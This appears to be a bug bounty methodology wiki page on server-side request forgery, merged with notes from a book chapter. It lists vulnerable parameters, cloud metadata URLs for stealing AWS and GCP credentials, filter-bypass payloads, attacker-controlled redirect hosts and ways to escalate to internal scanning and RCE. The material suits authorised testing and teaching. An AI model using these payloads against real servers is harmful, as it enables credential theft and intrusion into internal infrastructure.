====== SSRF Testing ====== Server-Side Request Forgery: trick the server into making requests to internal/cloud resources. ===== Where to Look ===== * Features that take a **URL parameter** -- API consoles, webhooks, developer tools * Import from URL features * PDF/screenshot generators * Anything that fetches a remote resource on your behalf ===== Common Vulnerable Parameters ===== dest, url, uri, path, document, folder, root, pg, style, pdf, template, php_path, doc, redirect, return, window ===== Targets to Hit ===== http://169.254.169.254/latest/meta-data/ # AWS metadata http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://metadata.google.internal/computeMetadata/v1/ http://localhost/ http://127.0.0.1/ http://[::1]/ ===== Redirect-Based Bypass ===== Host a PHP redirect server locally and expose via ngrok: php -S 0.0.0.0:8080 ngrok http 8080 The target's filter may only validate the input URL, not the final redirect destination. Submit your ngrok URL and redirect to ''http://169.254.169.254/''. ===== Chain with Open Redirects ===== If the target has an open redirect at ''/redirect?goto='', use it as the SSRF payload: https://target.com/fetch?url=https://target.com/redirect?goto=http://169.254.169.254/ The server fetches its own open redirect, which bounces to the internal resource. ===== Timing Detection ===== When you can't see the response, use a sleep-redirect to confirm SSRF: A 10-second delay in the response confirms the server is following redirects to your controlled endpoint. ===== Escalation ===== * AWS metadata IAM credentials = AWS API access * Internal admin panels via localhost * Port scanning internal network * Cloud metadata = pivot into cloud infrastructure ===== See Also ===== * [[zseano:open_redirects|Open Redirects]] * [[tbhm:04_authorization|TBHM Auth & Session]] * [[zseano:escalation|Bug Chaining]] * [[zseano:start|Methodology Index]] ====== BBC Ch 13: Server-Side Request Forgery (SSRF) ====== //Merged from Bug Bounty Bootcamp Ch 13 by Vickie Li// ===== How SSRF Works ===== SSRF lets an attacker send requests from a trusted server on behalf of themselves. A public web server that fetches URLs supplied by the user can be directed to reach internal services that are normally firewalled from the internet. Classic example -- proxy service: https://public.example.com/proxy?url=https://google.com (intended) https://public.example.com/proxy?url=https://admin.example.com (SSRF: fetches internal admin panel) The request to admin.example.com originates from the trusted public server, not the attacker's machine, so internal firewall rules permit it. **Regular vs Blind SSRF:** regular SSRF returns the fetched content in the HTTP response; blind SSRF executes the request but does not return the result. Both exploit the same trust relationships, but blind requires out-of-band confirmation. ===== Prevention ===== * **Blocklist** -- reject requests to internal network addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x); most common approach * **Allowlist** -- only permit requests to a predetermined set of approved URLs; stricter but more bypass-resistant * **Secret headers** -- require internal requests to include a special header or token not accessible to external users ===== Hunting for SSRFs ===== ==== Step 1: Spot Prone Features ==== Any feature that causes the server to fetch an external resource is a candidate: * **Webhooks** -- app configuration pages where you supply a URL for callbacks (Slack event subscriptions, GitHub webhooks, etc.) * **File upload via URL** -- "upload from URL" or "import from link" features * **Link expansion / thumbnails** -- automatic preview generation when a URL is pasted * **Proxy services** -- URL parameters that return external content * **XML / PDF processing** -- server-side parsers that resolve external entities or fetch resources embedded in documents * **Hidden API endpoints** -- undocumented endpoints that accept a URL parameter * **HTML injection in img/iframe src** -- user input inserted into HTML that the server later renders server-side Record each candidate endpoint: Webhook: POST /webhook body: url=https://attacker.com File upload: POST /upload_from_url body: user_id=1234&url=https://attacker.com/img.jpeg Proxy: GET /proxy?url=https://google.com ==== Step 2: Submit Internal URLs ==== Replace the URL value with common internal addresses: localhost 127.0.0.1 0.0.0.0 192.168.0.1 10.0.0.1 169.254.169.254 (AWS instance metadata) Examples: POST /webhook url=https://192.168.0.1 POST /upload_profile_from_url user_id=1234&url=https://127.0.0.1:22 ==== Step 3: Check the Results ==== **Regular SSRF:** look for service banners or internal content in the HTTP response: Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 A service banner in the error message confirms SSRF. **Blind SSRF:** use out-of-band detection: * Start a Netcat listener: ''nc -lp 8080'' and point payloads to your IP:8080 * Use Burp Collaborator (generates unique domain names and monitors for interactions) * Compare HTTP status codes (200 vs 500) across different internal IPs and ports to infer which hosts and ports are reachable * Compare response times -- closed ports respond faster (connection refused); firewalled ports respond slower (timeout) ===== Bypassing SSRF Protection ===== ==== Bypass Allowlists ==== If the server only allows URLs from a specific domain (e.g., ''pics.example.com''): **Open redirect chain:** use an open redirect on the allowlisted domain to bounce to an internal address: url=https://pics.example.com/123?redirect=127.0.0.1 **@-sign trick** (host confused as credentials): url=https://pics.example.com@127.0.0.1 **Directory trick** (internal IP with allowlisted domain as path): url=https://127.0.0.1/pics.example.com ==== Bypass Blocklists ==== **Attacker redirect:** make the server request a URL you control that redirects to the blocked internal address: url=https://attacker.com/ssrf Serve this PHP on attacker.com: **IPv6:** blocklists for IPv4 often don't cover IPv6 equivalents: url=http://[::1] (IPv6 localhost) url=http://[fc00::] (IPv6 private network) **Custom DNS:** point a domain you control to 127.0.0.1 via an A record, then use your domain as the URL. **Encoding variants of 127.0.0.1:** Hex: https://0x7f.0x0.0x0.0x1 Octal: https://0177.0.0.01 Dword: https://2130706433 URL: https://%6c%6f%63%61%6c%68%6f%73%74 (localhost) Mixed: https://0177.0.0.0x1 ===== Escalating the Attack ===== ==== Network and Port Scanning ==== Iterate over internal IP ranges and port numbers; observe differences in response codes or response time to map the internal network: url=https://10.0.0.1 -> 200 + Apache banner (host exists) url=https://10.0.0.2 -> 500 "Connection Failed" (no host) url=https://10.0.0.1:80 -> 200 (port open) url=https://10.0.0.1:11 -> 500 (port closed) Use SSRFmap (https://github.com/swisskyrepo/SSRFmap/) to automate scanning. ==== Pull EC2 Instance Metadata ==== If the target runs on AWS, query the metadata endpoint from the SSRF: url=http://169.254.169.254/latest/meta-data/ url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME url=http://169.254.169.254/latest/dynamic/instance-identity/document/ url=http://169.254.169.254/latest/user-data/ These can leak IAM role credentials, S3 access tokens, and private IP addresses. ==== Pull Google Cloud Metadata ==== APIv1 requires special headers (''Metadata-Flavor: Google'') but v1beta1 does not: url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token url=http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys Note: v1beta1 was deprecated in 2020 and may be disabled on newer instances. ==== Attack Internal Services ==== * **Bypass access control** -- access internal admin panels only reachable from trusted IPs: ''url=https://admin.example.com'' * **Internal API calls** -- trigger admin-only actions: ''url=https://admin.example.com/delete_user?user=1'' * **Escalate to RCE** -- use leaked credentials to upload a shell; access an unsecured admin panel with script-execution features ===== 8-Step Checklist ===== - Spot features prone to SSRF: webhooks, URL file uploads, proxy services, link expansion, XML/PDF processors, hidden API endpoints. - Set up a Netcat listener or Burp Collaborator for blind SSRF detection. - Submit internal addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.169.254) to each candidate endpoint. - Check regular SSRF responses for service banners or internal page content. - For blind SSRF: compare status codes and response times across hosts and ports to infer network topology. - If protection is present, try bypass techniques: open redirect chain, @-sign trick, IPv6, custom DNS, encoding variants. - Escalate: scan network, pull cloud metadata (AWS/GCP), bypass internal access controls, execute internal API calls. - Draft report with curl PoC showing concrete data returned or access achieved.